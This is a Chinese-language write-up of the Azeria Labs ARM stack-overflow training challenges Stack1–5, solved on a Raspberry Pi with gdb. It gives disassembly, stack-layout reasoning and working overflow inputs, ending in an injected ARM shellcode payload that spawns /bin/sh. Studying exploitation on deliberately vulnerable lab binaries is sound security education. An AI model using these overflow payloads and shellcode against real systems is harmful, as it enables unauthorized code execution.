Azeria Labs Challenges Stack1-5

最近学习了 https://azeria-labs.com/ 出的ARM Exploit教程,最后作者出了几个挑战题目,以下是的解题思路。

题目在这: https://azeria-labs.com/part-3-stack-overflow-challenges/

环境

  1. 直接使用作者提供的虚拟机 https://azeria-labs.com/arm-lab-vm/
  2. armv6 树莓派

题目 Stack1

What you will learn

How to modify variables to specific values in the program
How the variables are laid out in memory
Goal: Change the ‘modified’ variable. You solved the challenge once “You have changed the ‘modified’ variable” is printed out.

初步运行

先直接运行看看,

pi@raspberrypi:~/ARM-challenges $ ./stack1
stack1: please specify an argument

那就加个参数

pi@raspberrypi:~/ARM-challenges $ ./stack1 1111111111111111
Try again, you got 0x00000000

再参数长点

pi@raspberrypi:~/ARM-challenges $ ./stack1 111111111111111111111111111111111111111111111111111111111111111111111111111111
Try again, you got 0x31313131
Segmentation fault

哇,数值变了。0x31就是1啦。而且crash了。

调试

gdb stack1
break main
run

输出汇编

gef> disassemble main
Dump of assembler code for function main:
=> 0x000104b0 <+0>:	push	{r11, lr}
   0x000104b4 <+4>:	add	r11, sp, #4
   0x000104b8 <+8>:	sub	sp, sp, #80	; 0x50
   0x000104bc <+12>:	str	r0, [r11, #-80]	; 0x50
   0x000104c0 <+16>:	str	r1, [r11, #-84]	; 0x54
   0x000104c4 <+20>:	ldr	r3, [r11, #-80]	; 0x50
   0x000104c8 <+24>:	cmp	r3, #1
   0x000104cc <+28>:	bne	0x104dc <main+44>
   0x000104d0 <+32>:	mov	r0, #1
   0x000104d4 <+36>:	ldr	r1, [pc, #92]	; 0x10538 <main+136>
   0x000104d8 <+40>:	bl	0x10370
   0x000104dc <+44>:	mov	r3, #0
   0x000104e0 <+48>:	str	r3, [r11, #-8]
   0x000104e4 <+52>:	ldr	r3, [r11, #-84]	; 0x54
   0x000104e8 <+56>:	add	r3, r3, #4
   0x000104ec <+60>:	ldr	r3, [r3]
   0x000104f0 <+64>:	sub	r2, r11, #72	; 0x48
   0x000104f4 <+68>:	mov	r0, r2
   0x000104f8 <+72>:	mov	r1, r3
   0x000104fc <+76>:	bl	0x10340
   0x00010500 <+80>:	ldr	r3, [r11, #-8]
   0x00010504 <+84>:	ldr	r2, [pc, #48]	; 0x1053c <main+140>
   0x00010508 <+88>:	cmp	r3, r2
   0x0001050c <+92>:	bne	0x1051c <main+108>
   0x00010510 <+96>:	ldr	r0, [pc, #40]	; 0x10540 <main+144>
   0x00010514 <+100>:	bl	0x1034c
   0x00010518 <+104>:	b	0x1052c <main+124>
   0x0001051c <+108>:	ldr	r3, [r11, #-8]
   0x00010520 <+112>:	ldr	r0, [pc, #28]	; 0x10544 <main+148>
   0x00010524 <+116>:	mov	r1, r3
   0x00010528 <+120>:	bl	0x10334
   0x0001052c <+124>:	mov	r0, r3
   0x00010530 <+128>:	sub	sp, r11, #4
   0x00010534 <+132>:	pop	{r11, pc}
   0x00010538 <+136>:			; <UNDEFINED> instruction: 0x000105bc
   0x0001053c <+140>:	cmnvs	r2, r4, ror #6
   0x00010540 <+144>:	ldrdeq	r0, [r1], -r8
   0x00010544 <+148>:	andeq	r0, r1, r0, lsl r6
End of assembler dump.

初步分析和调试下代码

上图红框中最关键的几行代码,只要满足 r3 r2 相等,就可以完成此题。调试发现 r2 每次都是0x61626364,字符串就是 dcba(小端)。

r2是相对pc的偏移,一般就是代码中的常量了。r3是相对r11(也就是fp)偏移-8。现在重点到看看r11。

r11是Frame Pointer地址(栈底),sp是栈顶,一般函数内的变量可以通过fp取相对偏移获取。程序的输入参数也是这样。

从上面我们输入超长数据的结果可知,超长数据覆盖了 [r11,#-8],那程序大概就是简单的把输入存到字符数组中。

根据sub sp,sp,#80看到栈大小有80字节,也就是20个word。而r11是 sp+4后的值,这样我们可以看下整个Frame上的数据,在加上main第一行push也让sp减8,因此总共23个word。(由于当时计算错误,下面的命令就只输出22个,不过也够用了)用命令 x/22w $r11-84 输出。

也就是把上图右下角的数值改为 0x61626364 就好了。 从第一个0x31313131算,需要17*4=64个字符,最后四个需要是dcba

这样试试

通过

终于挑战通过。Yeah!

就像题目所说,是为了熟悉下 How the variables are laid out in memory。

题目 Stack2

与上一题目差不多,只是输入方式变成了环境变量。

断点到cmp指令可以看到,需要让环境变量最后的数值为\n\r\n\r。

也就是覆盖到上图的地址。从第一个0x31算下(假设输入是很多1111111),也就是需要17*4的字符,最后四个字符是\n\r\n\r

怎么设置环境变量是\n\r呢?参考Stack Overflow的回答 https://stackoverflow.com/questions/41309822/how-do-i-actually-write-n-r-to-an-environment-variable

以下答案都可以了:

export GREENIE=$'1111111111111111111111111111111111111111111111111111111111111111\n\r\n\r'

# 136 = 17*4*2
export GREENIE="$(python -c 'print "\n\r"*136')"

题目 Stack3

看到跳转到r3,也就是r11-8。

可见就是要覆盖上图中的0x31313131,17*4的数据最后4个就是覆盖函数调用的地址。

覆盖为00 01 04 7c即可,由于小端,输入如下:

1111111111111111111111111111111111111111111111111111111111111111|\x04\x01\x00

最终需要这样:

printf '1111111111111111111111111111111111111111111111111111111111111111|\x04\x01\x00' | ./stack3

题目 Stack4

要覆盖pc,就是要覆盖最后的栈中存储lr的位置。

数组长度68,+4可以覆盖r11,再+4可以覆盖lr。

也就是覆盖最后4个字节为00 01 04 4c。

答案就是:

printf '11111111111111111111111111111111111111111111111111111111111111111111\x4c\x04\x01\x00' | ./stack4

题目 Stack5

先看代码与stack4一样,不同的是:这次我们要执行自己的shellcode。

shellcode 我们就用之前章节的 https://azeria-labs.com/writing-arm-shellcode/

printf '11111111111111111111111111111111111111111111111111111111111111111111\x4c\x04\x01\x00' | ./stack5

由于要执行我们的shellcode,那把lr改为栈的下一个地址,然后后面存放shellcode。

11111111111111111111111111111111111111111111111111111111111111111111

\xf0\xf1\xff\xbe

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

因此可以这样:

printf '11111111111111111111111111111111111111111111111111111111111111111111\xf0\xf1\xff\xbe\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78' | ./stack5